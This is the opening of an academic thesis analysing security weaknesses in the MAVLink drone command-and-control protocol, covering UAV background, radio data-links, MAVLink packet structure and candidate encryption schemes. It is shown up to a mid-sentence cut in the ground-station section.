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Abstract
The MAVLink protocol is an open source, point-to-point networking protocol used
to carry telemetry and to command and control many small unmanned aircraft. This
research presents three exploits that compromise conﬁdentiality, integrity, and availability
vulnerabilities in the communication between an unmanned aerial vehicle and a ground
control station using the MAVLink protocol. The attacks assume the conﬁguration settings
for the data-link hardware have been obtained. Field experiments using MAVProxy to
compromise communication between an ArduPilot Mega 2.5 autopilot and the Mission
Planner application demonstrate that all three exploits are successful when MAVLink
messages are unprotected. A methodology is proposed to quantify the cost of securing the
MAVLink protocol through the measurement of network latency, power consumption, and
exploit success. Experimental measurements indicate that the ArduPilot Mega 2.5 autopilot
running the ATmega2560 processor at 16 MHz with the standard, unsecured MAVLink
protocol consumes on average 0.0105 additional watts of power per second and operates
with an average additional latency of 0.11 seconds while under the most resource-intensive
attack than when not under attack.
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VULNERABILITY ANALYSIS OF THE MAVLINK PROTOCOL
FOR COMMAND AND CONTROL OF UNMANNED AIRCRAFT
I. Introduction
The media coverage and research of Unmanned Aerial Vehicles (UAVs) continues
to increase [Fin12, Gol12], providing more utility, as well as concern, with each new
discovery as the Federal Aviation Administration (FAA) works to enable greater integration
of unmanned aircraft into the National Air Space (NAS) [Con12]. The number of small
UAVs is expected to increase signiﬁcantly, and many of them currently operate on an
unsecured command and control (C 2) protocol [Del12].
The Micro Aerial Vehicle (MAV) Link protocol is an open source, point-to-point
networking protocol used to carry telemetry and to command and control many small
Unmanned Aircraft (UA). Since this protocol is designed with attention to availability
and safety, its security may have been overlooked. This research presents three exploits
that compromise vulnerabilities in the MAVLink protocol. These attacks compromise the
conﬁdentiality, integrity, and availability (CIA) of communication between the UAV and
Ground Control Station (GCS). The attacks assume the conﬁguration settings for the data-
link hardware have been obtained; this assumption is explained in Section 2.10. This work
also examines four cryptographic implementations that may be capable of mitigating the
conﬁdentiality and integrity vulnerabilities present in the MAVLink protocol by providing
authentication and strong symmetric encryption.
1
1.1 Objectives
This thesis focuses on a single aspect of the general security concerns regarding UA:
vulnerability analysis of the MAVLink C 2 protocol. The research goals of this thesis are:
1. Assess the vulnerability of the MAVLink protocol to common attacks;
2. Identify a cryptographic method of securing the MAVLink protocol;
3. Provide a methodology that quantiﬁes the cost of securing the MAVLink protocol.
It is hypothesized that vulnerabilities in the MAVLink protocol will be discovered allowing
exploitation of compromised C 2 communication. It is also expected that a cryptographic
solution exists that can secure the protocol while retaining functionality of the embedded
device. Finally, it is expected that a coherent methodology can be used to quantify the cost
of securing the MAVLink protocol.
1.2 Implications
By analyzing the MAVLink protocol’s vulnerability to common attacks, the drone
community is informed of any discovered weaknesses in the MAVLink protocol and
potential countermeasures to enable its secure employment. This research makes a
signiﬁcant contribution to the larger body of academic and defense research through
exploration of Unmanned Aircraft System (UAS) vulnerabilities, the development of a
scalable methodology in assessing the MAVLink protocol, and by deﬁning the cost of
securing a C 2 protocol for UASs. Results of this research will impact both oﬀensive and
defensive UAS operations using the MAVLink protocol to command and control UAVs.
To address the concern that mobile embedded devices lack the resources needed
to secure communication, part of this research helps determine if the hardware of the
ArduPilot Mega (APM) 2.5 is suﬃcient to protect MAVLink command and control with
cryptographic implementations. Future work on securing a UAS communications protocol
or examining inherent risks of UAV operation could refer to this research.
2
1.3 Related Research
This research extends the works of John T. Hagen on securing the Player proto-
col [Hag12], and is related to the vulnerability assessment of the Parrot AR drone [Del12],
research into Global Positioning System (GPS) spooﬁng of UAVs [WSBH11, MHL09,
HLP+08, Tem13], and the Secure Mathematically-Assured Composition of Control Mod-
els (SMACCM) Pilot Project used to secure the data-link between UA and ground control
stations [PHB+13].
1.4 Thesis Overview
Chapter 2 provides a literature review of unmanned aircraft, the hardware and software
used, and a brief background in network security pertinent to this research. Chapter 3
deﬁnes the methodology proposed to achieve the goals of this research. Chapter 4 details
the experimental and laboratory conﬁgurations used to test the methodology deﬁned in
Chapter 3. Chapter 5 presents the results and analysis of the data collected in this thesis
showing that all three exploits are successful when MAVLink messages are unprotected.
Finally, Chapter 6 concludes this thesis with a summary of the results, the signiﬁcance of
this work, and recommendations for future research.
3
II. Literature Review
This chapter provides the background knowledge required to place this research into
proper context and to understand the vulnerability analysis process and purpose of the
MAVLink protocol used to command and control many UAVs. A basic understanding of
the Open Systems Interconnection (OSI) reference model, networking, and cryptography
fundamentals is assumed.
Section 2.1 provides an overview of UASs, including common UASs and their
utility (Section 2.1.1), their operation (Section 2.1.2), signiﬁcant events related to
UASs (Section 2.1.3), and the inherent hazards of UAS operation (Section 2.1.4).
Section 2.2 expounds the APM 2.5 micro-controller used in many Small Unmanned
Aerial Vehicle (SUAV)s and MAVs. Section 2.3 covers typical UAS payloads, as well
as the payload tested in this research. Section 2.4 provides an overview of common
digital data-links used for UAS communication and operation, including wireless 802.11
(Section 2.4.1.2) and standard radio (Section 2.4.1). Section 2.5 details the MAVLink
protocol. Section 2.6 discusses several cryptographic implementations proposed to secure
the MAVLink protocol. The primary GCS used in this research, Mission Planner, is brieﬂy
explained in Section 2.7, and the alternative, command-line GCS, MAVProxy, is discussed
in Section 2.9. The network attacks performed in this research are covered in Section 2.10.
Section 2.11 brieﬂy highlights other works related to this research. Section 2.12 explains
the contributions made in this research.
2.1 Background of Unmanned Aircraft Systems
One of the most popular topics in the daily news around the world is the use of
“drones,” UA used for an expanding variety of purposes. Although much of the news
coverage focuses on the lethal use of drones, most drones serve as aerial surveillance,
4
reconnaissance and monitoring for military, and increasingly for law enforcement [Fin12,
Mus12, Tay12, BHMMS11, Dea11, Mor12b, Div12]. Seventeen of the top 46 applicants
for drone licenses from the FAA in 2012 were law enforcement, while most of the
rest were academic institutions [EFF12]. The surge in UAVs for law enforcement is
certainly not an American phenomenon as New Zealand and Australia have conﬁrmed
purchases [Mor12a, Cor12]. There are UAV manufacturers producing in Argentina,
Australia, Italy, Sweden, Russia and South Korea, and UAV operators work in Mongolia,
Turkey, South Africa, Israel, Czech Republic, Japan, the United States (US) and Canada
among other nations [NKS+10, Gro07]. In 2008, there were 20 countries operating,
developing, manufacturing, and exporting UAVs [Dal08].
Drone usage can be a polarizing topic as it has numerous vocal supporters and
opponents in both government and civilian organizations. This divisive topic has spawned
much research in the ﬁeld, from defense against GPS spooﬁng [WSBH11, MHL09,
HLP+08, Key95] to legal implications regarding violation of the fourth amendment to the
U.S. Constitution [TI12, Sup12]. This section brieﬂy covers the background of the diﬀerent
types of UAVs, their typical usage and operation, signiﬁcant events involving UAVs, and
the inherent hazards of UAS operation.
2.1.1 Common UASs and Their Utility
Industrialization and technological advancements drive innovation towards automat-
ing work that previously required manual eﬀort. With increasing focus on improving
safety in every occupation, aviation also follows the trend of most industries towards au-
tomation, as evidenced by the explosion of unmanned aircraft sales, research and public-
ity [Gol12, Qui13, HFK+09]. Powered aircraft that do not contain a human pilot are known
commonly as unmanned aircraft (UA), UAVs, or drones [NKS+10]. The people that “pilot”
UA are referred to as “operators” and they control UA of various sizes and capabilities to
accomplish numerous tasks. UA generally fall into the category of ﬁxed-wing UAV, rotary-
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wing Vertical Take-Oﬀ and Landing (VTOL) UAV, lighter-than-air (e.g., blimp or balloon),
or a combination [NKS+10].
UA producers cater to a wide variety of customers who request diﬀerent features and
capabilities [Gro07]. Table 2.1 illustrates a few of the basic distinguishing characteristics
of UAVs that one might discover in today’s air space. High Altitude, Long Endurance
(HALE) UAVs, sometimes referred to as Tier III UAVs, contain a payload exceeding 1,000
pounds and ﬂy for over well 24 hours per mission [NKS+10]. Tier III UAVs commonly
have satellite links to allow for the rapid dissemination of their Intelligence, Surveillance
and Reconnaissance (ISR) content across the globe [NKS+10]. Medium Altitude, Long
Endurance (MALE), or Tier II, UAVs carry a payload weighing several hundred pounds
and ﬂy at around 27,000 feet for 30-40 hours [NKS+10]. Both the Tier II and III UAVs
tend to follow a predeﬁned ﬂight path and perform automated take-oﬀ and landing [Gar09].
Tactical UAVs straddle Tiers I and II, usually carry a payload less than 100 pounds, and ﬂy
at about 15,000 feet for 5-6 hours at a time [Gar09].
2.1.1.1 Types
The small, short-range or low endurance, Tier I UAVs typically contain a payload less
than 25 pounds and ﬂy under 1,000 feet for less than two hours per task [Gar09]. MAVs
can be as small as a few inches in length, carry a payload less than two pounds for less
than an hour per ﬂight [NKS+10, Kab12]. The scope of this research is limited to the
MAVs due to their resource constraints, limited range, and their typical dependence on
line-of-sight communication. Tier I and Tactical UAVs almost never use satellite links for
command and control because their payload capacity will not support the size and weight
of high-gain, tracking antennas, and their ﬂight direction often changes too quickly for a
tracking antenna to remain ﬁxed on the satellite signal [Gar09]. These range and resource
restrictions consequently render such UAVs vulnerable to a “man-in-the-middle” attack
during unencrypted communication [SVW09], which is discussed in Section 2.10.2.
6
Table 2.1: Types of Unmanned Aircraft and Characteristics
UAV Type Endurance Communication Payload Examples
HALE / Tier III 35 hours Satellite 1,800-2,000
lbs
Global Hawk,
Helios, Dark Star
MALE / Tier II 30-40 hours Satellite 300-500 lbs Predator, Reaper
Tactical 5-6 hours L, C, or S-Band < 100 lbs Shadow, Hunter,
Scan Eagle
Small / Tier I < 2 hours LOS Radio < 25 lbs Raven, Javelin,
Wasp,
Draganﬂyer
MAV < 1 hour LOS Radio/Wi-Fi < 5 lbs Black Widow,
Dragonﬂy,
ArduPlane
2.1.2 UAS Operation
In 2008, the US had 83 diﬀerent models of UA in operation, over a quarter of
which were categorized as MAVs [Dal08]. These MAVs are typically operated to provide
overhead surveillance, but can serve a variety of beneﬁcial purposes such as search and
rescue, aerial sensor, traﬃc monitoring, agriculture maintenance, and providing supplies
to remote areas [SVW09, NKS+10, DN04, Ama13]. Some propose re-purposing military
UAVs for domestic use by law enforcement and emergency services [Wal12].
As with all technology, UAS usage is not restricted to ethical purposes or to
promote public welfare. One example of a nefarious application for MAVs, demonstrated
by researchers in 2011, is to inﬁltrate unprotected and inadequately protected wireless
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networks to bypass ﬁrewalls guarding private networks at the gateway router [RGD11].
Threat analysts also speculate that attackers could use MAVs as a cheap payload
delivery for chemical or biological weapons [JF08]. Based on recently posted Internet
videos [Ant13, tkn12], one may soon discover hobbyist drones designed to attack other
drones.
The broad spectrum of UAS operations has prompted diverse research and much
publicity as the ﬁeld expands and technology advances. Most UASs are comprised of a
UAV operated by a pilot using a GCS over a data-link. The next two sections discuss the
vulnerabilities exploited in each of these UAS components.
2.1.3 Signiﬁcant Events involving UASs
Technology is developed by fallible humans, and is therefore subject to occasional
security lapses in design or implementation. Vulnerabilities discovered within each
component of the UAS have been exploited by attackers indicating other vulnerabilities
are also likely to be exploited if they are discovered by attackers before they are identiﬁed
by researchers and developers. In December 2009, militants in Iraq reportedly obtained
access to the unprotected down-link transmitted by US drones [MQ09]. A virus infected
military GCSs in October 2011 logging all keystrokes used to command and control many
drones [Sha11]. In December 2011, Iran reported it had successfully brought down a US
reconnaissance RQ-170 Sentinel UAV by spooﬁng the GPS signals it received to navigate
back to its launch point [SS11]. Students at the University of Texas in Austin demonstrated
in July 2011 the mid-air hijacking of a UAV using the method Iran claims it used to bring
down the RQ-170 Sentinel UAV a year earlier [SHF12].
These events are only the publicized events; as with many cyber-related events, most
people will remain unaware of exploits that are unreported or too technical for the general
public to understand [BCS12]. These signiﬁcant events highlight existing vulnerabilities
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in UASs that are currently being researched and remedied. However, some of these
vulnerabilities may be inherent in the UAS.
2.1.4 Inherent Hazards in UAS Operation
The FAA requires that UA that operate in the NAS must have detect, sense and
avoidance capability [FAA04]. This federal requirement is as detrimental as it is beneﬁcial
since it improves the safety of both those on the ground and those sharing the airspace, and
it also assures an attacker with the appropriate hardware will be able to detect UA [Azi12].
Commercial high-gain antennas with receivers for speciﬁc frequencies are available on
the Internet for anyone to purchase. Because the small UAVs tend to rely on direct link
architecture [Gar09], their transmissions are broadcast which allows anyone listening on
their frequency to receive the signals [FB08].
Detecting autonomous UAVs is not much more diﬃcult than detecting UAVs
controlled by direct link, despite the absence of C 2 communication. Considering that the
purpose of most UAVs is to remotely provide aerial observation, one only need to scan for
the presence of the UAV’s down-link to discover it [GDC09]. Once an attacker discovers a
UAV’s down-link, an autonomous UAV can be hijacked by spooﬁng the unencrypted GPS
signals the UAV is relying on for navigation [Vol01, Hum12, SHF12]. Whether hijacking
via direct link or GPS-spooﬁng [TPRC11], this research demonstrates how attacking UAVs
becomes trivial if the data-link connection lacks authentication or encryption.
Researchers and threat analysts have identiﬁed many other potential scenarios in
which attackers can take advantage of reliance on UASs [JF08, QA12, LGV13]. Future
emergency management operations may use UASs to implement a Wireless Mesh Network
(WMN) or Mobile Ad-hoc Network (MANET) [MBZ+12] to provide sustained emergency
communications capability [LGV13]. If the UASs in such an event could be detected and
were operating without secure C 2 communications, they could be remotely disabled or
hijacked by an unauthorized user. If a UAS used to jam communications [QA12] were
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hijacked via GPS-spooﬁng or unauthorized command injection, it could be reconﬁgured
and piloted by the attacker to jam the original owner/operator of the UAS, or simply be
used as a small, aerial weapon [JF08, QA12].
There are numerous inherent risks operators assume when piloting a UAS. Even if
the aforementioned vulnerabilities are addressed, UAV pilots operate under the assumption
that their GCS is secure. Because most GCSs are merely an application executed upon a
popular Operating System (OS), if an attacker can compromise the GCS OS then he can
take control of the UAV being piloted.
2.2 The ArduPilot Mega 2.5
The APM 2.5 is a popular, open-source, autopilot system that enables hobbyists to
implement full autonomy in their ﬁxed-wing, rotary-wing or multirotor vehicle. It contains
a 3-axis gyro, accelerometer, magnetometer, barometer, digital compass, and dataﬂash chip
for automatic data logging. Users can attach a GPS to the APM, as well as an Arduino
micro-controller to extend sensing capability or functionality [3DR12]. The ﬁrmware for
the device is compiled in the Sketch Pad application [McR10] and loaded onto the autopilot
by a USB connection from the GCS platform and selection of the UAV in the Mission
Planner software [3DR12].
The APM 2.6 is essentially the same device as the 2.5 version, only with an external
magnetometer [3DR12]. The APM 2.5 is selected for this research due to its overwhelming
popularity among hobbyists [And10], and the insigniﬁcance of magnetometer location for
laboratory experiments. If this research reveals serious vulnerabilities pertaining to the
APM 2.5, a vast number of UASs would be aﬀected by the results. Considering the APM
source code is open and available for anyone to download and modify, an attacker can
modify the ﬁrmware to include malicious functions. Currently the attacker can only load
malicious ﬁrmware if physical access to the device is gained [3DR12].
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2.3 UAV Payload
The payload of the UAS refers to anything the UAV physically carries. Typically the
payload used on most UAVs is a digital camera that streams or records video surveillance
of a target area. The payload can also refer to weapons a UAV carries to damage or destroy
a target [SVW09, Yen10, Dea11]), or other sensors used to gather desired information. In
ﬁeld experiments performed in this research, the payload refers to a small Nerf™ football
fastened to the UAV by a small pin that is released upon receipt of a “toggle servo”
command from the GCS. This payload is selected based on experiments conducted
during other Air Force Institute of Technology (AFIT) research into UA airdrop missions
performed with a Commercial Oﬀ-The-Shelf (COTS) UAS [Col13].
2.4 Data-links
This section discusses the physical data-link used to carry the communication signal
from the sender to the receiver, as opposed to the OSI Layer-2 data-link discussed
in Section 2.5. The data-link type upon which UAS developers and producers base
their UAV’s operation depends primarily on the desired operating range and endurance.
For instance, choosing a 802.11 Wireless Protocol (Wi-Fi) digital data-link may oﬀer
greater throughput, but severely diminishes the operating range due to rapid signal
attenuation. Electing to use a Ku-band digital data-link allows for greater operating
range and endurance; however, it also requires more expensive equipment to support the
communication medium. Many UAVs use an analog data-link to take advantage of the
medium’s extended operating range compared to the digital signal. However, choosing
the analog Radio Frequency (RF) signal also leaves the UAV more vulnerable to signal
jamming and reduced security of the communication [SVW09].
Because this research is focused on MAVs and SUAVs that typically have low
endurance and smaller operating radius, Line-of-Sight (LOS) data-links are discussed more
thoroughly, while microwave and Beyond Line-of-Sight (BLOS) data-links are only brieﬂy
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discussed. The following sections explore several of the most commonly used data-links in
current UASs. Their location within the RF spectrum is illustrated in Figure 2.1.
Figure 2.1: The Radio Frequency Spectrum
2.4.1 Radio
The RF spectrum is used to facilitate wireless communication. Many segments
of the RF spectrum are reserved for “amateur” usage [FCC03], which often results
in designers conﬁguring their UAS to use these “available” RF bands for C 2 and
telemetry communication between the UAV and GCS. There are tradeoﬀs that UAV
developers consider when selecting a RF band in which to operate (e.g., range versus
bandwidth) [Gar09]. The RF bands applicable to UAV research are:
• High Frequency (HF) — This frequency band spans from 1–30 Mega-Hertz (MHz)
and can support long distance communication. However, HF is not commonly
used on UAVs because it requires very large antennae for signal transmission and
reception, and has a very limited bandwidth [Roc00].
• Very High Frequency (VHF) / Ultra High Frequency (UHF) — VHF spans from 30–
300 MHz, and UHF spans from 300 MHz to 1 Giga-Hertz (GHz). These RF bands
support long distance communication (although not as long as HF), and are used
in some UAV data-links [Roc00]. This research explores UHF signals carried over
the 3DRobotics (3DR) 915 MHz digital data-link because it is currently the most
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popular device among hobbyists in the US [And10]. The Department of Defense
(DoD), among other organizations, also has tactical UASs operating in the 900 MHz
spectrum [Dal08], to which this research could possibly be extended. 3DR also
has a 400 MHz module for hobbyists in other countries that prohibit using the
900 MHz band for personal communication (e.g., Australia, Brazil, New Zealand,
South Africa, and most of Europe) [And13].
Many UAS manufacturers and operators elect to implement a UHF radio data-
link to command and control their UAV to extend the eﬀective range of operation
while minimizing the cost. Often these data-links use frequency-hopping over a
digital spread spectrum to mitigate unauthorized access to the UAS. However,
Federal Communications Commission (FCC) compliance consequently narrows the
range of possible conﬁguration settings of some radio communication links shared
between the UAV and GCS, thereby reducing the eﬀort required for an attacker to
try every permutation (“brute-force”) to attain unauthorized access [And13]. (This is
further examined in Section 4.3.)
• Microwave — The microwave spectrum, often considered the “workhorse” of UAV
data-links, spans 1–100 GHz and contains the L-band, S-band, C-Band, X-band,
and Ku-Band devices. Because microwave data-links rely on LOS propagation,
UAVs operating in this band often relay the signal through a satellite to overcome
rapid signal attenuation [Roc00]. The following sub-sections explain each of the
microwave bands in further detail.
2.4.1.1 L-band Radio
The Lower L-band (1435–1535 MHz) is allocated for both government and civilian
use, and the Upper L-Band (1700–1850 MHz) is reserved for government use in
the US, both primarily for mobile telecommunications [FCC03]. A few Satellite
Communications (SATCOM) data-links operate in the L-band, including INMARSAT and
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Iridium. INMARSAT data-links are used in a few high-endurance UASs, like the Global
Hawk and BAMS developed by Northrup Grumman. Iridium SATCOM data-links are used
to command and control the Insitu Georanger and the Meridian (a research UAS developed
and used by the University of Kansas) [SVW09].
2.4.1.2 S-band Radio
The S-band spans 2–4 GHz, but UAS usage is isolated to the much narrow range of
2300–2310 MHz and 2390–2450 MHz [FCC03]. UAS developers mostly use the S-band to
support the UAV down-link, or video feed for surveillance missions [SVW09]. However,
there is a certain class of UASs that operate in the S-band due to the convenience of the
well established and ubiquitous 802.11 wireless networking standard.
• Wi-Fi — The Wi-Fi falls in the S-band and is the simplest medium for UAV
command and control, however its range is also the most limited. The Wi-Fi signal
attenuates faster than the other C 2 mediums, thereby limiting the eﬀective range
a pilot can operate a UAV, typically to no more the 100 meters without signal
ampliﬁcation or focalization [SVW09]. The ubiquity of Wi-Fi also makes this
medium the most susceptible to attacks, since most network attackers hone their skills
over the 802.11 networking standard, and most of their tools are already conﬁgured
and optimized to use Ethernet or Wi-Fi [Sko06].
The AR drone by Parrot is one example of a popular multirotor UAV that
uses Wi-Fi as its primary medium for command and control [And12], and has been
thoroughly exploited by researchers [Del12]. Some UAVs also have IP-addressable
aircraft systems on-board (e.g., Boeing Little Bird) [Dal08] in addition to the other
data-link types discussed in the next section.
2.4.1.3 C-band Radio
The frequency band from 4–8 GHz of the RF spectrum is the most commonly used
band for LOS command and control of UASs. Frequencies in the 6 GHz band are popular
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because of the communications reliability in unfavorable weather conditions and acceptable
data-rate achieved in the bandwidth. The Predator drone, the Mariner (both developed by
General Atomics), and the Raven (by AV) are examples of UA that operate on the C-band
for LOS command and control [SVW09].
2.4.1.4 X-Band
Spanning 8–12 GHz, the X-band is typically used as a BLOS UAS down-link (e.g.,
Global Hawk), although it could also be used for LOS command and control. Of the full
X-band, most UAS communication occurs in the 11.7–12.7 GHz range [SVW09].
2.4.1.5 Ku-Band
The Ku-band spanning 12–18 GHz of the RF spectrum is the most commonmicrowave
data-link implementation for BLOS command and control of high-endurance UASs. Ku-
band up-links usually communicate in the narrow range of 14–14.5 GHz, and most of
the Tactical Common Data Link (TCDL) conﬁgurations for the command and control of
military UA utilize the Ku-band from 14.5–15.38 GHz [SVW09].
2.4.1.6 K-Band
The K-band describes the range from 18–26.5 GHz of the RF spectrum, and is usually
used for BLOS command and control of high-endurance UAS [SVW09].
2.4.1.7 Ka-Band
The Ka-band spanning from 26.5–40 GHz of the RF spectrum is predominantly used
for BLOS communication, often relayed through satellites due to weather sensitivity [SVW09].
2.5 The MAVLink Protocol
The data-link is the OSI Layer-2 communications mechanism that enables a UAS
operator to remotely pilot a UAV. The MAVLink communication protocol, the primary
focus of this research, is the OSI Layer-2 mechanism the APM 2.5 micro-controller uses
to communicate with the GCS [3DR12]. “MAVLink is a very lightweight, header-only
message marshaling library for micro air vehicles [MCG+11a].” The protocol has been
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extensively tested on several UAV platforms, and numerous GCS software applications
that run on Microsoft Windows, Mac and Linux OSs. MAVLink can support up to 255
aircraft being controlled by one GCS. It runs with only 8 bytes of overhead per packet on
the ARM7, ATMega, dsPic, and STM32 processors, and Linux, MacOS, and the Microsoft
Windows OSs. MAVLink relies on International Telecommunications Union (ITU) X.25
checksum packet corruption detection [MCG+11a].
The minimum packet length in the MAVLink protocol is 8 bytes (e.g., Acknowledge-
ment (ACK) with no payload), and the maximum packet length is 263 bytes with a full
payload. Figure 2.2 illustrates the anatomy of the MAVLink packet detailed in Table 2.2.
Figure 2.2: Anatomy of the MAVLink Packet [MCG+11a]
MAVLink uses a packet start sign (STX) to sync the start of an encoded message.
Once the packet start sign is received, the packet length (n) is read and after n bytes the
checksum (CKA and CKB) is veriﬁed. If the checksum matches, the decoded packet is
processed, an ACK message is transmitted, and it awaits the next start sign. Altered or lost
message bytes will result in a checksum failure causing the packet to be dropped, and the
receiving device resumes listening for the next start sign packet. MAVLink uses a sequence
number (SEQ) for each packet as a safety mechanism to monitor packet loss detection. If
the packet loss rate appears to be signiﬁcant, the pilot would command the UAV to return
to launch or at least reduce the operating range [MCG+11a].
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Table 2.2: A Packet in the MAVLink Protocol [MCG+11a]
Byte Index Content Value Purpose
0 Packet start sign
(STX)
0xFE Indicates start of a new packet
1 Payload length
(LEN)
0 – 255 Indicates length of the following payload
2 Packet Sequence
(SEQ)
0 – 255 Enables packet loss detection because each
component counts up its send sequence
3 System ID
(SYS)
1 – 255 Identiﬁes the sending system; enables mul-
tiple platforms to use the same network
4 Component ID
(COMP)
0 – 255 Identiﬁes the sending component; allows
for multiple components on the same
platform (e.g., Inertial Measurement Unit
(IMU), camera, servos, and autopilot)
5 Message ID
(MSG)
0 – 255 Identiﬁes the message being sent; deﬁnes
the payload and how it should be decoded
6 – n+6 Data
(PAYLOAD)
0 – 255
(bytes)
Data of the message; depends on message
ID
n+7 – n+8 Checksum
(CKA and CKB)
ITU X.25/SAE AS-4 hash of bytes 1 – n+6,
including the MAVLINK CRC EXTRA parame-
ter computed from message ﬁelds to prevent de-
coding from a diﬀerent protocol version.
There are 18 message types in the MAVLink protocol, and 91 deﬁned messages
in the MAVLink documentation [MCG+11b]. The message types establish encoding
parameters such as architecture types, conﬁguration settings and command message type
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(e.g., autopilot hardware, vehicle type, command for servo, etc.) designated by the message
ID, so the receiving device will be able to properly decode the message payload (i.e., data).
For this reason, the message type is the ﬁrst ﬁeld of the MAVLink message. The MAVLink
messages carry the commands transmitted from the GCS to the UAV, and provide feedback
(e.g., telemetry, heartbeat, and system status) from the UAV to the GCS, enabling the pilot
to maintain control of the aircraft.
Because the protocol is designed mainly on the requirements of transmission speed
and safety [MCG+11a], it does not incorporate security. This research explores whether
this design choice leaves UAVs operating on the MAVLink protocol susceptible to network
attacks against the system’s conﬁdentiality, integrity, and availability. Additionally, side-
channel attacks could enable an attacker to acquire the communication conﬁguration
settings of the UAS without any need for a brute-force attack. These data-link security
vulnerabilities expose the MAVLink protocol to potential exploitation. A secure version
of MAVLink is currently being discussed by the protocol developers, but has not yet been
developed [Mei13].
2.6 Cryptographic Solutions
There are myriad cryptographic solutions to secure digital communication. As
technology advancements bring more computing power to smaller devices with fewer
resources, the options for cryptographic security on mobile embedded devices will continue
to expand. Many cryptographic libraries and toolkits are too large to be included in UAV
ﬁrmware; however, applicable functions from them can be integrated into the source code
of the ﬁrmware and applications to enable secure communication. For this research, the
options examined for securing the MAVLink protocol on the APM 2.5 are the Networking
and Cryptographic library (NaCl), LibTomCrypt, the Rabbit Cipher, and the Corrected
Block Tiny Encryption Algorithm (XXTEA).
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As discussed in Section 2.5, the MAVLink protocol is designed to distinguish a
MAVLink message from noise and other message types based on the header format. For
this reason, only the MAVLink message payload should be encrypted and authenticated,
since encrypting the header would result in the recipient being unable to recognize the
message as MAVLink encoded. The consequence of this requirement on securing the
protocol is that the “heartbeat” message would still be recognized by an attacker; the
existence of a MAVLink-enabled UAV is still revealed regardless of protocol protection.
2.6.1 NaCl (“Salt”)
The Networking and Cryptography library (NaCl), commonly called “salt,” is
an optimized cryptographic library that provides methods to protect the integrity and
conﬁdentiality of a system [HS13]. The NaCl for 8-bit AVR micro-controllers can be
used to secure the MAVLink protocol by implementing symmetric encryption using the
Salsa20 stream cipher, and authentication using the Poly1305 Message Authentication
Code (MAC) [HS13, Ber08]. Use of the “secretbox” functions in the tweetnacl.h and
tweetnacl.c ﬁles [BJLS13] for the ﬁrmware requires modiﬁcation of ﬁve lines, and adds as
little as 10 lines of code to themavlink helpers.h ﬁle to implement authenticated encryption
on the APM 2.5 autopilot. The “libsodium-net” library is a C# implementation of NaCl
that can be included in the solution for building the Mission Planner GCS application with
secure communication using the same “secretbox” functions as tweetnacl [Cau13].
The output of the “secretbox” authenticating-encryption function is 16 bytes longer
than the input, plaintext message [HS13]. This results in NaCl authenticated encryption
reducing the maximum message payload length from 255 bytes down to 239 bytes. The
negative eﬀect this constraint imposes on the communication is minimal as the length of
MAVLink messages is rarely greater than 200 bytes.
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2.6.2 LibTomCrypt
LibTomCrypt is the cryptographic toolkit currently proposed by the developers
of the MAVLink protocol to be used in creating the secured MAVLink protocol,
sMAVLink [Mei13]. LibTomCrypt contains a variety of cryptographic implementations
to provide authentication of symmetric and asymmetric encryption [Den04]. The
Advanced Encryption Standard (AES) in Galois/Counter Mode (GCM) is the method
of employing authenticated encryption of the MAVLink protocol being discussed by
its developers [Mei13, MV04, Hat03]. The algorithm takes as input a secret key,
an Initialization Vector (IV), Additional Authentication Data (AAD), and the plaintext
message. It outputs the ciphertext with an appended authentication tag. The IV, AAD,
encrypted message, and authentication tag are sent to the recipient, which will then process
this data using AES-GCM under the same key to check the authenticity and integrity of the
message and recover the plaintext message.
The output of the AES-GCM authenticated encryption is a ciphertext equivalent
in length to the input message [MV04]; however, the IV, AAD and tag that must
be transmitted along with it will result in a larger message payload. The precise
implementation being considered for sMAVLink is provided at [Kar13] (which must be
translated into C# to be integrated into the Mission Planner source code).
2.6.3 Rabbit Cipher
The Rabbit stream cipher is a high-performance, lightweight cryptographic implemen-
tation that could be used to secure the MAVLink protocol [BVP+03]. The Rabbit algorithm
takes a 128-bit secret key and a 64-bit IV as input to generate a block of 128 psuedo-random
bits to be XORed with the plaintext or ciphertext [BPVZ04]. The small footprint and high
performance of this stream cipher makes it a viable option for securing the MAVLink pro-
tocol. An example implementation of the Rabbit cipher is oﬀered in [BPVZ04] (which also
must be translated into C# to be integrated into the Mission Planner source code).
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As a stream cipher, Rabbit performs a byte-wise XOR producing a ciphertext
equivalent in length to the input plaintext. Adding a message authentication tag to the
encrypted message (similar to AES-GCM) could provide protection against attacks on
integrity; however, the added processing may result in unacceptable or unsafe performance
for UAS operations.
2.6.4 XXTEA
If one accepts the premise that “weak encryption is better than no encryption,” then the
XXTEA could be used to encrypt and decrypt MAVLink messages. The XXTEA is a very
lightweight cryptographic option to weakly protect the conﬁdentiality of messages, since it
has been broken after 235 chosen plaintext query pairs [Yar10]. Its performance on 16-bit
processors could merit its consideration in securing the MAVLink protocol [PVPP13];
however, it does not protect message integrity, allowing for unauthorized messages to be
sent once the encryption is broken. If protection of integrity is not a concern for securing the
MAVLink protocol, using the XXTEA may be an acceptable implementation as it might be
unexpected for a “weak” encryption to be used. An example of the XXTEA implemented
in C (requiring translation to C# for integration into the Mission Planner source code) is
provided at [Kos13].
Like the Rabbit stream cipher, the XXTEA performs a byte-wise XOR producing a
ciphertext equivalent in length to the input plaintext. Adding authentication to the XXTEA
would protect against attacks on integrity; however, the additional processing may result in
unacceptable or unsafe performance for UAS operations.
2.7 Ground Control Station
Mission Planner is a ground control station application used to monitor telemetry
received from a UAV and to control its movement by sending waypoints and other
commands to the UAV. The software integrates with Google Maps to allow point-and-
click waypoint selection enabling the operator a very simple method to develop a route
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for the UAV to navigate. Figure 2.3 is a screenshot of the Mission Planner GCS software.
Mission Planner has numerous commands the operator can choose (e.g., loiter, return to
launch, start mission, toggle servo, etc.), and it also allows the execution of Python scripts
to perform actions not listed in command drop-down menus [Obo12b].
Figure 2.3: The Mission Planner GCS
The APM 2.5 ﬁrmware is selected and uploaded to the hardware through conﬁguration
settings in Mission Planner. A full Hardware-In-the-Loop (HIL) UAV simulator can be
conﬁgured in Mission Planner by interfacing the APM with ﬂight simulation software
(e.g., X- plane, FlightGear). This allows an operator to simulate the UAV ﬂight of an
established mission before executing the ﬂight in the ﬁeld; however, the OSI layer-2 data-
link is excluded as a factor because radio communication is disabled while the APM is
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connected directly to the GCS computer [Obo12b]. This constraint precluded using a HIL
for this research as an attacker cannot be simulated without use of the the attached radio.
Mission Planner also allows the operator to download mission log ﬁles, and to examine
the output of the APM’s serial terminal. Many of these functions are also supported in other
GCS applications that use MAVLink (e.g., QGoundControl, HK Ground Control Station,
Copter GCS) [MCG+11a]. Because Mission Planner is only available on the Microsoft
